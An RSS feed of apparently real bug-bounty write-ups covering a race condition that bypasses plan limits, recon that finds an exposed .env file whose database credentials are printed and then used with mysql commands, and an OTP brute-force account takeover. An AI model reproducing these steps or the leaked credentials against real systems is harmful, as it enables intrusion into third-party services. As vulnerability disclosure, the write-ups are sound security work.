<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by SaY_Mekky on Medium]]></title>
        <description><![CDATA[Stories by SaY_Mekky on Medium]]></description>
        <link>https://medium.com/@0xmekky?source=rss-c6431d65a6c5------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*_K7XGm-JMyMSW9EjtUaiWw.jpeg</url>
            <title>Stories by SaY_Mekky on Medium</title>
            <link>https://medium.com/@0xmekky?source=rss-c6431d65a6c5------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 17 Nov 2026 00:12:39 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@0xmekky/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[TOCTOU in the Wild: How a Timing Bug Bypassed SaaS Workflow Limits]]></title>
            <link>https://medium.com/@0xmekky/toctou-in-the-wild-how-a-timing-bug-bypassed-saas-workflow-limits-1944757100c7?source=rss-c6431d65a6c5------2</link>
            <guid isPermaLink="false">https://medium.com/p/1944757100c7</guid>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[api-security]]></category>
            <category><![CDATA[web-security]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <dc:creator><![CDATA[SaY_Mekky]]></dc:creator>
            <pubDate>Wed, 04 Feb 2026 13:59:52 GMT</pubDate>
            <atom:updated>2026-02-04T13:59:52.919Z</atom:updated>
            <content:encoded><![CDATA[<p>عُدْنــا والعَـوْدُ أحْمَـدُ</p><p>In this article, I’ll walk through a real-world vulnerability scenario I discovered while testing a public program on HackerOne.<br> Rather than focusing on tools or exploits, the goal is to show how simply understanding how a system works can lead you to uncover behavior that was never intended to happen.</p><p>My name is <strong>Abdelrahim Mekky</strong>, and let’s dive straight into the topic.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NWdzAeUSkWMR_95Oop1s_g.jpeg" /></figure><p><strong>TOCTOU (Time Of Check To Time Of Use)</strong> is a type of logic flaw that occurs when a system checks a condition at one moment in time, but performs the related action later, assuming the condition has not changed.<br> If the system does not handle concurrent actions properly, this time gap can be exploited, allowing behavior that should normally be prevented.</p><h3>Target Overview</h3><p>The target in this scenario, which we’ll refer to as <strong>example.com</strong>, is a SaaS platform that provides a feature called <strong>Workflows</strong>.</p><p>Workflows allow users to automate actions and processes inside the platform. Depending on the subscription plan, users are limited to the number of workflows they can run simultaneously.</p><p>On the plan used during testing, the platform allows <strong>up to five active workflows</strong> per account. There is no limit on how many workflows users can create — they can create as many as they want. However, only <strong>five workflows can be active at a time</strong>.</p><p>When creating a workflow, the user configures its settings and behavior, then chooses one of two options:</p><ul><li>Activate the workflow so it starts running</li><li>Leave it inactive without triggering any actions</li></ul><p>The platform correctly prevents the user interface from activating a sixth workflow. If the user attempts to do so, the system blocks the action to enforce the plan limitation.</p><p>Before diving into the vulnerability itself, it’s important to understand what happens behind the scenes when a workflow is created and later activated — and how the backend handles that activation.</p><h3>How Workflow Activation Works</h3><p>Once a workflow is created, it’s very straightforward: you give it a name, configure a few required settings, and then decide whether to <strong>activate it</strong> or leave it inactive.</p><p>Here’s what it looks like in practice: imagine a dashboard showing all your workflows. In this example, I created <strong>16 workflows</strong>, but only <strong>one of them is active</strong>.<br>If you try to activate a workflow normally, the platform enforces the plan limit. Once you reach the maximum allowed number of active workflows, you’ll see a message like:</p><blockquote><em>“Your account has reached the limit of 5 active workflows.”</em></blockquote><p>This is the <strong>expected and correct behavior</strong>. It ensures that users cannot exceed their plan’s restrictions through the standard UI.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5d38tv6tgtT4atvjui7e2Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*INjO-pFizdnHomLe-tu7sA.png" /></figure><h3><strong>Analyzing Workflow Activation Behavior Through Request Inspection</strong></h3><p>At this stage, I opened <strong>Burp Suite</strong> to observe what actually happens when a workflow is activated.<br> My goal was simple: understand the request flow and see whether anything interesting could be learned from how the backend handles activation.</p><p>The first thing I did was activate one of the existing workflows while Burp was running. As soon as I clicked <strong>Activate</strong>, a clean and straightforward request appeared — the workflow activation request.</p><pre>POST /automations-ms/workflow-builder/&lt;WORKFLOW_ID&gt;/activate?token=&lt;JWT&gt;<br>Host: example.test.com</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/770/1*xApe-lcD8sD64zxs2prJyg.png" /></figure><p>From what I observed, each workflow has a unique <strong>ID</strong>, and every activation request also includes a <strong>token</strong>.</p><p>At this stage, I wasn’t entirely sure what the token represented — whether it was tied to the <strong>account’s permissions</strong> or specific to the <strong>activation request</strong> itself.</p><p>Understanding this distinction is important, because it tells us whether the backend is checking <strong>who is allowed to activate a workflow</strong> or simply <strong>processing the request blindly</strong>.</p><p>I didn’t have the answer yet, but this was something I could explore further by experimenting and analyzing the backend responses.</p><p>Next, I tried activating another workflow from the list of existing ones. As expected, both the <strong>workflow ID</strong> and the <strong>token</strong> changed for this new request.</p><p>However, at this point, nothing unusual or clearly exploitable appeared. The system seemed to be behaving normally, and all requests were valid.</p><p>Even though I didn’t see anything immediately suspicious, observing these requests was essential—it allowed me to notice patterns that later proved key to understanding how a timing issue could be exploited.</p><p>I then activated a <strong>third workflow</strong>, this time reusing a token from a previous request — and it worked.</p><p>This revealed an initial weakness in <strong>token validation</strong>. The token did not appear to be strictly tied to a specific workflow or activation request, but rather accepted at the account level.</p><p>At this point, there was still <strong>no real impact</strong>. No limits were bypassed and nothing unexpected happened.<br> However, this observation hinted that validation on the activation flow might not be as strict as expected.</p><p>From this point, it became clear that activating workflows using the <strong>same token</strong> was allowed.<br> This meant that, in theory, it could be possible to activate <strong>more workflows than intended</strong> using a single token — depending on how the backend handled limits.</p><p>The next step was obvious:</p><ul><li>First, I needed to collect the <strong>IDs of all existing workflows</strong></li><li>Second, I could reuse the same activation request and simply change the <strong>workflow ID</strong> in each request</li></ul><p>To do that, I had to understand how the platform exposes workflow information and where to retrieve those workflow IDs.</p><p>While monitoring the traffic in <strong>Burp Suite</strong>, I noticed an interesting request that returned <strong>all existing workflow IDs</strong> associated with the account.</p><p>The request looked like this:</p><pre>GET /automations-ms/workflow-builder/workflows?includeBlockReferences=true&amp;workspaceId=&lt;WORKSPACE_ID&gt;&amp;token=&lt;JWT&gt;<br>Host: example.test.com</pre><p>The response contained detailed information about every workflow, including their metadata and unique IDs.<br> A simplified snippet from the response looked like this:</p><pre>&quot;workflowMetadata&quot;: {<br>  &quot;id&quot;: &quot;5089349937&quot;,<br>  &quot;workflowObjectId&quot;: &quot;5089349937&quot;,<br>  &quot;name&quot;: &quot;Duplicate of New Workflow&quot;,<br>  &quot;workspace&quot;: {<br>    &quot;id&quot;: 5489610,<br>    &quot;name&quot;: &quot;example-workspace&quot;<br>  }<br>}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*a33HClMkcd5nExlQghKbVg.png" /></figure><p>At this point, we had everything we needed.<br> The next step was to leverage a <strong>race condition</strong>, which is the core of this TOCTOU issue.</p><h3>Exploitation Strategy (Race Condition)</h3><p>First, we collected all workflow IDs we had created (16 workflows in total) and saved them for later use:</p><pre>5089349937<br>5089349925<br>5089349910<br>5089349908<br>5089349907<br>5089349895<br>5089349888<br>5089349837<br>5089349836<br>5089349833<br>5089349832<br>5089349815<br>5089349648</pre><p>Next, we took a previously captured <strong>workflow activation request</strong> and sent it to <strong>Burp Repeater</strong>.</p><p>From there, we followed these steps:<br>1. Added the activation request to a <strong>Repeater group</strong>.<br>2. Duplicated the request until the total number matched the number of workflow IDs.<br>3. Modified each request so that every one of them used a <strong>different workflow ID</strong>.<br>4. Opened <strong>Send Group options</strong>.<br>5 . Selected <strong>Send group in parallel</strong>.<br>6 .Sent all requests at the same time.</p><h3>Result</h3><p>Because the backend validated the <strong>number of active workflows</strong> before activating them — but failed to enforce the limit atomically — multiple workflows were activated simultaneously.</p><p>This allowed more than <strong>5 workflows</strong> to become active, effectively bypassing the SaaS plan restriction.</p><p>This is a classic <strong>TOCTOU (Time Of Check To Time Of Use)</strong> vulnerability, where the system checks a condition (active workflow count) but does not properly lock or re-check it at the time of use.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7YrekfIfQaxjMY-8s72xIg.png" /></figure><p>“Praise be to God, at the end of the article the vulnerability was accepted as Medium severity, and the bounty was paid.”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/300/1*C1FqvWCiEEJhffdh97Qt6w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UrdO7p8LTrvvbRSIf9sJww.png" /></figure><ul><li><a href="https://www.facebook.com/r00tfr3on/"><strong>facebook</strong></a></li><li><a href="https://www.linkedin.com/in/abdelrahem-mekky/"><strong>linkedin</strong></a></li><li><a href="https://hackerone.com/0xmr_b4rayz?type=user"><strong><em>hackerone</em></strong></a></li></ul><p>However, at this point, nothing unusual or clearly exploitable appeared. The system seemed to be behaving normally, and all requests were valid.</p><p>Even though I didn’t see anything immediately suspicious, observing these requests was essential — it allowed me to start noticing patterns, which later became key to understanding how a timing issue could be exploited.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1944757100c7" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[IPs, ASN & CIDR — When the Game Is the Network, We Play the Map — How target.com]]></title>
            <link>https://medium.com/@0xmekky/ips-asn-cidr-when-the-game-is-the-network-we-play-the-map-how-target-com-fbaafdb66f0b?source=rss-c6431d65a6c5------2</link>
            <guid isPermaLink="false">https://medium.com/p/fbaafdb66f0b</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[web-application-security]]></category>
            <category><![CDATA[networking]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[network-security]]></category>
            <dc:creator><![CDATA[SaY_Mekky]]></dc:creator>
            <pubDate>Sun, 02 Nov 2025 21:01:54 GMT</pubDate>
            <atom:updated>2025-11-02T21:01:54.222Z</atom:updated>
            <content:encoded><![CDATA[<h3>IPs, ASN &amp; CIDR — When the Game Is the Network, We Play the Map — How target.com Led Us to a Reachable Database</h3><p>A practical, ethics-first case study of automated asset discovery — from multi-source IP collection to ASN/CIDR expansion, HTTP filtering, and identifying exposed configuration files.</p><h3>عُدْنــا والعَـوْدُ أحْمَـدُ</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aW_lFgzSvQBFbHCl1njb2Q.jpeg" /></figure><h3><strong>Introduction</strong></h3><blockquote>Here I’ll explain, in a simple and direct way, the automated recon pipeline that took one public domain — <em>target.com</em> — and turned it into a bigger, internally biased scope. You’ll see how combining <strong>multi-source IP collection</strong>, <strong>quick HTTP checks</strong>, <strong>ASN/CIDR expansion</strong>, and <strong>targeted enumeration</strong> can turn a surface-facing host into a map of nearby assets and services. The goal is to show the methodology, point out the common misconfigurations that let these discoveries happen, and give practical fixes you can apply right away.</blockquote><blockquote>This isn’t an exploit diary. I purposely keep the technical steps high-level and focus on tools and defensive lessons instead of step-by-step exploitation. The real value is learning to spot patterns: how small clues people often ignore (page titles, exposed config files, nonstandard service ports) chain together into a real risk. Once you understand this system you’ll be better at finding the same blind spots in your own setup.</blockquote><blockquote>I’ll cover the tools and commands I used at each stage, explain what each option reveals and why it matters, then give a <strong>sanitized summary of findings</strong> that shows the kinds of exposures to watch out for — like exposed config files and reachable databases on nonstandard ports. Finally, you’ll get a <strong>prioritized list of mitigations and operational controls</strong> to reduce this class of risk.</blockquote><h4>1. High-level workflow</h4><ol><li>Gather IPs and hosts from different sources using <a href="https://github.com/projectdiscovery/uncover"><strong>uncover</strong></a>.</li><li>Probe the hosts to see HTTP services and metadata with <a href="https://github.com/projectdiscovery/httpx">httpx</a>.</li><li>Filter and prioritize targets based on the page title or the tech they run</li><li>Expand the scope internally: go from ASN to CIDR, then list their IP ranges with ipinfo and <a href="https://github.com/projectdiscovery/mapcidr">mapcidr</a>.</li><li>Run targeted nmap scans on hosts that look interesting to find open ports and service versions.</li><li>Do directory enumeration / fuzzing to find exposed config files like /.env.</li><li>Analyze the results, estimate the impact, and produce prioritized remediation steps.</li></ol><h3>2. Tools used</h3><ol><li><a href="https://github.com/projectdiscovery/uncover"><strong>uncover </strong></a>— aggregates search results from Shodan, Censys, FOFA, ZoomEye, Hunter, Quake, Netlas, CriminalIP, PublicWWW, Google, Onyphe, etc., to produce a deduplicated list of hosts/IPs. Good for broad coverage.</li><li><a href="https://github.com/projectdiscovery/httpx"><strong>httpx</strong> </a>— very fast HTTP(S) probing for status code, title, content-length, word count, and basic tech detection. Ideal for filtering which hosts are worth deeper inspection.</li><li><a href="https://ipinfo.io/"><strong>ipinfo</strong></a> (api/ipinfo.io) — used to retrieve ASN, range (CIDR), hostname, organization, abuse contacts</li><li><a href="https://github.com/projectdiscovery/mapcidr"><strong>mapcidr</strong> </a>— converts a CIDR block into individual IPs for subsequent scanning.</li><li>nmap — detailed port / service discovery and version detection.</li><li>dir-fuzzing tools (any common tool) — enumerate directories and files to discover misconfigured public files like .env</li><li>hfg</li></ol><h3>3.1 collect IPs using Shodan and the uncover tool.</h3><blockquote>First, we collect IPs using <strong>Shodan</strong> and the <strong>uncover</strong> tool. Assume the domain name we have is domain.com. Note that the target shown in the screenshot is part of a bug-bounty program, so we’ll rename it.<br> We’ll start by gathering IPs with <strong>uncover</strong>. Don’t expect the config file to be ready out of the box — you’ll need to add the required API keys (or the keys you can provide). You can find instructions on how to do that on the tool’s GitHub.</blockquote><pre>uncover -q hostname:domain.com -limit 10000000 -o ips_save.txt</pre><ul><li>-q hostname:domain.com — the search query; here we filter by the domain name.</li><li>-limit 10000000 — maximum number of results to return (example uses a very large number).</li><li>-o ips_save.txt — output file where the collected IPs will be saved.</li></ul><p>After collecting the IPs, they are now stored in the file ips_save.txt.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/379/1*hr3_Q1IBJQYLkQh92YCRQw.png" /></figure><h3>3.2 <strong>probe collected hosts for HTTP metadata</strong></h3><blockquote><strong>httpx — probe collected hosts for HTTP metadata</strong><br> to start filtering and see what’s in front of us: which technology, what page title, which service it’s using, and the status code.</blockquote><p>Use this command:</p><pre>cat ips_save.txt | httpx -sc -title -cl -wc -td | tee httpx.txt</pre><ul><li>-sc → show HTTP <strong>status code</strong> (200, 403, 404, etc.).</li><li>-title → retrieve page &lt;title&gt; (very useful to see &quot;WordPress&quot;, &quot;Login&quot;, or service names).</li><li>-cl → show <strong>content-length</strong> (size of response in bytes).</li><li>-wc → show <strong>word count</strong> (how many words on the page).</li><li>-td → attempt <strong>technology detection</strong> (if available).</li><li>tee httpx.txt → save the output to httpx.txt while also printing it.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1016/1*OECkFiYlsmJWkWbSTSTn8w.png" /></figure><h3>3.3 Extract ASN / CIDR info (ipinfo)</h3><p>Use ipinfo.io (or any similar service) to enrich interesting IPs:</p><ul><li>https://ipinfo.io/&lt;ip&gt; returns JSON with fields like asn, hostname, country, org, and range.</li></ul><p><strong>Key fields to note:</strong></p><ul><li><strong>ASN</strong> — identifies the Autonomous System (provider/organization) that owns the IP range.</li><li><strong>Range/CIDR</strong> — the IP network block (e.g. 203.0.113.0/24).</li><li><strong>Hostname/Hosted domains</strong> — may expose subdomains or pointer to the target.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MSe6cWXuA84LrbcLoiLb2A.png" /></figure><p><strong>Why ASN/CIDR matter:</strong> If a target IP belongs to an ASN of the organization or a shared hosting provider, expanding to the whole CIDR can reveal other hosts in the same network that are internal-only controls, monitoring tools, or database replicas.</p><h3>3.4 mapcidr — expand a CIDR into a list of IPs</h3><p>We’ll use <strong>mapcidr</strong> to extract the IPs that are inside a CIDR block — here’s the command we’ll use:</p><pre>mapcidr -cidr 203.0.0.0/24 &gt; expanded_ips.txt<br><br>##replace 203.0.0.0/24 with cidr number </pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/611/1*IV1_mJATmoTbzeNGrrueIA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/457/1*ec7e9v_DppfROhM-lV7i_g.png" /></figure><p><strong>What it does:</strong> takes a CIDR and enumerates all IPs in that block (so you can feed them into httpx or nmap).</p><p><strong>Why use it:</strong> Automates the “internal sweep” — you go from a single internet-facing IP to the full set of neighbors that may host internal services.</p><p>Then you continue following the same workflow and start doing port scans and fuzzing on the IP (whether it’s serving HTTPS or HTTP). Run port scans because you might discover other services running, and you’ll begin exploring the internal network — even the smallest thing there can turn into something critical. I won’t dive into that here because it’s a much larger scope.</p><p>After running them through httpx, here’s what I did: I went back to the old file we exported with uncover, then ran httpx against it. I started going through the entries one by one and continued with the rest of the pentest and bug bounty work.</p><h3>3.5 I opened the file httpx.txt and one IP caught my eye because it showed this stack:</h3><p>Elementor:3.28.4, MySQL, Nginx:1.21.6, PHP:8.1.33, WordPress:6.8.1, jQuery, jQuery Migrate:3.4.1</p><p>So I started fuzzing it with whatever tooling you prefer (e.g. ffuf or dirsearch).</p><p>Example output line:</p><pre>http://ip:8291 [200] [110103] [lol City] [4794] [Elementor:3.28.4,MySQL,Nginx:1.21.6,PHP:8.1.33,WordPress:6.8.1,jQuery,jQuery Migrate:3.4.1]</pre><p>I scanned it and we found a file: .env.</p><h3>3.6 These are the credentials found in the .env file:</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Kl7lEHEXGVrJ72aDM_s1Sg.png" /><figcaption>MARIADB_VERSION=10.5<br>MYSQL_ROOT_PASSWORD=”Indrac0Jay4&quot;<br>MYSQL_DATABASE=”29_db”<br>MYSQL_USER=”city_user_2025&quot;<br>MYSQL_PASSWORD=”city_db_2025J4y4&quot;</figcaption></figure><p>It’s clear they’re database credentials.</p><p>And the next sentence:</p><p>“Now let’s see whether they are valid or not by trying to connect with them.”</p><h4>I tried to connect to the database using this command line:</h4><pre>export MYSQL_PWD=&#39;lolracity_db_2025J4y4&#39;<br>mysql -h ip -P 3306 -u loliaracity_user_2025 -e &quot;SELECT 1;&quot; --connect-timeout=5<br>unset MYSQL_PWD</pre><p>This was the response:</p><pre>ERROR 2002 (HY000): Can&#39;t connect to server on &#39;202.111.lol&#39; (110)</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/810/1*-IRyzX4DjAhBc3u5htmPnA.png" /></figure><p>I expect there is a filter or an access list or something preventing the connection.<br> So I did a quick port scan to see which ports are open.</p><h4>I ran a quick port scan using this command line:</h4><pre>sudo nmap -sC -sV -sS -p- -oA nmap_full_scan --open --min-rate=1000 ip</pre><p>Nmap showed that:</p><ul><li>Port <strong>3306</strong> is <strong>filtered</strong> (closed), but there are several other open ports (<strong>33039</strong>, <strong>33161–33167</strong>).</li><li>They all appear to be running <strong>MariaDB 10.5.28</strong> or <strong>MySQL 5.7.22-log</strong>.</li></ul><p>From here we decided to change the port to try to connect. I changed the port to <strong>33161</strong> and ran:</p><pre>export MYSQL_PWD=&#39;lolracity_db_2025J4y4&#39;<br>mysql -h ip -P 33161 -u loliaracity_user_2025 --connect-timeout=5 -e &quot;SELECT 1; SELECT VERSION(), USER(), CURRENT_USER(); SHOW GRANTS FOR CURRENT_USER();&quot;<br>unset MYSQL_PWD</pre><p>Alhamdulillah,<br> the connection to the database was successful.<br> Here’s the result that appeared in the command line.<br> From this point, I can create a backup and fully control the database easily — just like I’m the admin of it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OiQuEdwMYOB71M4LDCnnQg.png" /></figure><p>This was just a very simple scenario of what you can reach through internal or even public IPs.<br> The reason is that, in most cases, there’s no firewall preventing access — unlike subdomains.<br> In general, the IP usually points to subdomains, and from there you can encounter many different scenarios — like Zabbix and others.</p><p><a href="https://www.facebook.com/r00tfr3on/">facebook</a><br><a href="https://www.linkedin.com/in/abdelrahem-mekky/">linkedin</a><br><a href="https://hackerone.com/0xmr_b4rayz?type=user"><em>hackerone</em></a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=fbaafdb66f0b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[0-Click Account Takeover — Invite Friend + OTP Lifecycle Vulnerability]]></title>
            <link>https://medium.com/@0xmekky/0-click-account-takeover-invite-friend-otp-lifecycle-vulnerability-2c30e8aaa896?source=rss-c6431d65a6c5------2</link>
            <guid isPermaLink="false">https://medium.com/p/2c30e8aaa896</guid>
            <category><![CDATA[web-security]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[account-takeover]]></category>
            <category><![CDATA[web-security-testing]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <dc:creator><![CDATA[SaY_Mekky]]></dc:creator>
            <pubDate>Mon, 13 Oct 2025 18:24:53 GMT</pubDate>
            <atom:updated>2025-10-13T18:24:53.213Z</atom:updated>
            <content:encoded><![CDATA[<h3>0-Click Account Takeover — Invite Friend + OTP Lifecycle Vulnerability</h3><h3>عُدْنــا والعَـوْدُ أحْمَـدُ</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wSCbSKgF5ehXFChKhCmtYg.jpeg" /></figure><blockquote><em>While working as a penetration tester at </em><a href="https://www.bugswagger.com/"><strong>BugSwagger </strong></a><em>on a web application engagement (target referred to throughout as </em><strong>ex.com</strong><em>) I found </em>A misconfigured <strong>invite-signup flow</strong> combined with weak <strong>OTP lifecycle controls</strong> allowed a full <strong>0-click account takeover</strong>.<br> While the password reset process itself was secure, the <strong>Invite Friend</strong> function trusted client-supplied parameters (email, otp, etc.) and failed to expire or rate-limit OTPs — enabling attackers to chain both flows for instant compromise.</blockquote><h3>Introduction</h3><p>One of the most interesting areas in any web application is its <strong>account management functionality</strong>.<br> Even small misconfigurations in these areas can lead to serious consequences.</p><p>Typical critical targets:</p><ul><li><strong>Change Password</strong></li><li><strong>Reset Password</strong></li><li><strong>Change Email</strong></li><li><strong>Account Settings</strong></li></ul><h4><strong>1 . Reset-password: what was correct (and why I moved on)</strong></h4><p>The reset-password flow initially appeared to be implemented correctly:</p><p><strong>1.1</strong> You enter your email and request a reset; the system issues an<strong> OTP</strong> and shows a <strong>verification page</strong>. <br><strong>1.2</strong> Submitting the <strong>correct OTP</strong> forwards you to a page to set a <strong>new password (entered twice)</strong>. <br><strong>1.3</strong> Submitting wrong OTPs multiple times triggers a message that you exceeded allowed attempts and you must request a new code.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tGnD-urVedgy-TRl9BLH0g.png" /><figcaption>as you can see</figcaption></figure><p>Because the reset flow behaved as expected (tokens are issued, wrong attempts are handled, UX follows request → verify → set password), I moved on to inspect related flows — namely the invite/signup path — for trust boundary issues.</p><p>## Reset OTP request shap<br>This is the exact OTP verification request I observed (converted to `ex.com`):</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1006/1*LGtr41BlR2_Mu3h65F8qlw.png" /></figure><p>Notes: — `identifier` is the user email. — `invitation` is `false` in the reset flow. — On correct OTP the server returned the expected redirect to the password-entry page. At this point the reset flow alone raised no red flags.</p><p>Once I confirmed the basics were working, I dove into the application to see how the flows behaved and to test the site’s business logic.<br> That’s when I navigated to the <strong>Invite Member</strong> (invite user) function.</p><h4><strong>2 . invite member function</strong></h4><p>As soon as I noticed the Invite Friend functionality, my first instinct was to test for <strong>race-condition issues</strong> — this is a common weak point in invite and signup flows.</p><p>We didn’t attempt a <strong>race-condition test</strong> right away — instead I examined how the invite <strong>flow actually behaved</strong>.<br> The invite form simply asks for the usual details: <strong>first name</strong>, <strong>last name</strong>, <strong>email</strong>, the <strong>user’s role</strong>, and similar fields.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*56n_E22qDa2J_aVqIr5qkw.png" /></figure><p>I filled the invite form with my normal details and checked the recipient inbox. I received an invite link that looked like this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/896/1*g8AcpQHqgS2iveK4Dy8mGA.png" /></figure><p>The URL clearly contained an otp parameter (otp=100000) and the recipient email (email=0xmekky@bugswagger.), with the other fields present as expected.</p><p>Out of curiosity I edited the email parameter to use a different (admin) address and retried the flow. The server did not reveal whether the account already existed; instead, it simply responded that the OTP was incorrect.</p><p>That response told me the endpoint va<strong>lidates the OTP</strong> against an expected context rather than immediately exposing account state — but it also highlighted a weakness in token handling that could be targeted (for example, via repeated guessing) if other protections are absent.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*s6TVRxE94133Fpbunjw32Q.png" /></figure><p>I captured the <strong>verification request </strong>in <strong>Burp Suite </strong>and tested the OTP handling via automated attempts. After discovering the valid OTP (visible in my intercepted traffic), the flow redirected me to the page for setting a new password. I completed that step and the account password was updated successfully.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CCW0cL39qDUSyk0qfBmbCQ.png" /><figcaption>Note: I executed approximately <strong>70,000</strong> verification requests during testing. To avoid creating a sustained high load on the service, I intermittently included the known valid OTP among the requests rather than continuously hammering the endpoint.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/850/1*VTGjhxLxtl56-b6w9UKQPg.png" /></figure><h4>Key observations:</h4><p>1. The URL contains<strong> `otp`</strong> and <strong>`email`</strong> as <strong>query parameters. </strong><br> 2. The signup flow accepted those parameters and used them in the verification process.<br> 3 . I was able to <strong>modify the `email`</strong> parameter client-side before opening the link; the server accepted the modified value and proceeded to validate the OTP in that new context.</p><h4><strong>Why I concluded the flows could be chained into a takeover Three weaknesses combined to create the practical attack:</strong></h4><p><strong>1. Client-trusted invite parameters:</strong> The server trusted the `email` and other fields passed in the invite URL instead of relying on a server-side, DB-backed invitation record or a signed token that binds the invite to a specific email.<br> <strong>2. OTP lifecycle weakness:</strong>In the invite/signup context OTPs were not strictly single-use and context-bound, meaning they could be re-checked or reused across contexts instead of being invalidated on consumption. <br><strong>3. Insufficient rate-limiting:</strong> There was no robust throttling to prevent brute-forcing OTP verification in the invite context. When an OTP can be observed or guessed, and an invite link’s email field can be altered, an attacker can modify the invite URL to target any victim email, verify the OTP (or brute-force it due to weak rate limits), and complete the signup/confirmation flow for that victim — resulting in account takeover.</p><p><em>شكرًا ليك إنك قرأت المقالة للآخر، ويا ريت تدعي لوالدي بالرحمة، ولأموات المسلمين كلهم، ربنا يرحمهم ويغفر لهم يا رب</em></p><ul><li><a href="https://www.linkedin.com/in/abdelrahem-mekky/">linkedin</a></li><li><a href="https://www.facebook.com/r00tfr3on/">facebook</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2c30e8aaa896" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[One Click Account Takeover: how an insecure password-reset flow + mass assignment leads to full…]]></title>
            <link>https://medium.com/@0xmekky/one-click-account-takeover-how-an-insecure-password-reset-flow-mass-assignment-leads-to-full-62f1bf17821d?source=rss-c6431d65a6c5------2</link>
            <guid isPermaLink="false">https://medium.com/p/62f1bf17821d</guid>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[vulnerability-disclosure]]></category>
            <category><![CDATA[web-security]]></category>
            <dc:creator><![CDATA[SaY_Mekky]]></dc:creator>
            <pubDate>Thu, 11 Sep 2025 18:02:16 GMT</pubDate>
            <atom:updated>2025-09-11T18:02:16.061Z</atom:updated>
            <content:encoded><![CDATA[<h3>One Click Account Takeover: how an insecure password-reset flow + mass assignment leads to full compromise</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ibzo4aePueRI1oFh1zfxjw.jpeg" /></figure><h3>عُدْنــا والعَـوْدُ أحْمَـدُ</h3><blockquote>While working as a penetration tester at <a href="https://www.bugswagger.com/"><strong><em>BugSwagger </em></strong></a>on a web application engagement (target referred to throughout as <strong><em>ex.com</em></strong>), I habitually check the authentication and account-management endpoints early in the assessment:</blockquote><p><strong>1- reset password<br>2- change password<br>3- change email<br>4-account settings<br></strong>These areas are always juicy targets — a small design mistake there can lead to a major impact</p><p>On ex.com I started looking into the <strong>reset flow</strong> and the<strong> email-campaign</strong> endpoint that triggers the password-change confirmation. At first glance the UI looked completely normal: a reset email, a confirmation link, a form to set a password. But when I dug into the API, I found a critical server-side flaw: the endpoint accepted and acted on sensitive fields directly from client input.</p><p>That combination — <strong>Mass Assignment + insecure reset design</strong> — made it possible to perform a <strong>1-click account takeover</strong>.</p><blockquote>Below, I’ll walk through what I found, why it matters, how it can be fixed, and how security teams can detect wider abuse.</blockquote><h4>Step 1: test the reset password page</h4><p>“First, I tested the reset password page — it was working completely normal and didn’t show any issues at all.”</p><h4>Step 2 : test the <strong>change password</strong> page</h4><p>“While testing the change password page, I noticed something very important: when you try to change your password, the application asks you to enter the new password twice. This alone can open up several potential scenarios, such as CSRF. However, I decided to first take a closer look at the request structure before exploring those possibilities.”</p><figure><img alt="" 